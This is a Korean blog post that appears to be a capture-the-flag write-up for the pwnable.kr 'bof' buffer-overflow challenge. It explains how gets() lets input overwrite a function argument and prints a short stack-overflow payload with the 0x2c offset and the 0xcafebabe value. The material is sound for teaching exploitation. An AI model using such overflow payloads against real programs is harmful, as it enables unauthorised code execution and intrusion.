문제

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000


분석

<bof.c 의 내용>


1. key는 함수 func의 첫번째 전달인자로, [ebp + 0x8]에 위치한다.

2. gets로 입력을 한번 받은 뒤

2. 최초로 0xdeadbeef가 key의 값으로 전달되지만 gets(overflowme)의 과정에서 [ebp + 0x8]을 덮을 수 있다.

+) gdb를 통해 알아보니 overflowme와 ebp는 0x2c만큼 떨어져 있었다.


payload  = ''

payload += 'a' * 0x2c

payload += 'bbbb'        # sfp

payload += 'cccc'          # ret addr

payload += p32(0xcafebabe)


실행결과

'pwnable.kr' 카테고리의 다른 글

[Toddler's Bottle] random writeup  (0) 2018.09.15
[Toddler's Bottle] passcode writeup  (0) 2018.09.15
[Toddler's Bottle] flag writeup  (0) 2018.09.15
[Toddler's Bottle] bof writeup  (0) 2018.09.15
[Toddler's Bottle] collision writeup  (2) 2018.09.14
[Toddler's Bottle] fd writeup  (1) 2018.09.14

+ Recent posts